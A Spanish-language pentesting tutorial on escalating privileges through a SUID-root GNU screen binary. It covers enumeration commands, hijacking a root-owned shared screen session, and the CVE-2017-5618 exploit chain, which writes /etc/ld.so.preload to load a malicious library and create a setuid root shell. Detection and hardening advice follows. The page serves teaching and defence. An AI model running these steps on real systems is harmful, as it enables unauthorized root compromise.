the_open_door
café
ESEN
← Volver al índice

Abusing SUID screen

screen es un multiplexor de terminales: permite crear sesiones persistentes y desacopladas del login actual, dejar procesos corriendo en segundo plano y reconectarse a ellos más tarde. Es una herramienta de administración inofensiva… salvo cuando lleva el bit SUID.

Recordatorio del SUID. Un binario con SUID se ejecuta con los privilegios de su propietario, no de quien lo lanza. Si /usr/bin/screen es propiedad de root y tiene SUID, cualquier usuario que lo ejecute lo hace, en parte, con autoridad de root. Forma parte del abuso de binarios SUID.

Enumeración

find / -perm -4000 -type f 2>/dev/null | grep -i screen
ls -la /usr/bin/screen          # -rwsr-xr-x  root root   → SUID activo
screen -v                        # Screen version 4.05.00  → candidato al LPE

Vector por sesión multiusuario compartida

A veces la escalada se apoya en dos piezas: screen SUID más un proceso de root que mantiene viva una sesión llamada root:

while true; do sleep 1; find /var/run/screen/S-root/ -empty -exec screen -dmS root \; ; done

Como hay una sesión de screen propiedad de root siempre activa y el binario corre con privilegios de root, podemos pedirle que nos enganche a esa sesión multiusuario con -x:

screen -x root/       # conecta a la sesion de root -> shell con su contexto
id                    # uid=0(root)

Vector "screen 4.5.0 LPE" (CVE-2017-5618)

Las versiones 4.5.0 con SUID tienen un fallo en el manejo del fichero de log (-L): screen abre el log con privilegios de root antes de bajar de UID, lo que permite crear/escribir ficheros arbitrarios como root. El exploit público lo usa para escribir una /etc/ld.so.preload que cargue una .so maliciosa y así obtener ejecución como root:

cd /tmp
gcc -fPIC -shared -ldl -o /tmp/libhax.so libhax.c     # constructor que hace chown root:root /tmp/rootshell + chmod +s
gcc -o /tmp/rootshell rootshell.c                      # setuid(0); execvp("/bin/sh")
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"   # inyecta la ruta en ld.so.preload
screen -ls                                             # dispara la carga
/tmp/rootshell                                         # uid=0

Cómo detectarlo. En reposo, screen con bit SUID (find / -perm -4000) es ya una desviación de la configuración estándar de la mayoría de distribuciones. En ejecución, la firma del LPE es la creación o modificación de /etc/ld.so.preload por un proceso screen (auditd sobre open/write de esa ruta) y la aparición de un binario SUID nuevo (/tmp/rootshell); la del vector de sesión compartida es un screen -x root/ de un usuario no privilegiado en /var/log/auth.log/journalctl. Un proceso hijo de screen con uid=0 cuyo invocador es un usuario normal cierra la cadena.

Defensa. No poner SUID a screen (ni a tmux, ni a multiplexores en general): es un binario potente que permite ejecutar subprocesos y compartir sesiones. Actualizar screen (el LPE 4.5.0 está corregido desde hace años), revisar el inventario de binarios SUID con find / -perm -4000 y eliminar el bit de todo lo que no lo requiera estrictamente.

Máquinas donde se aplica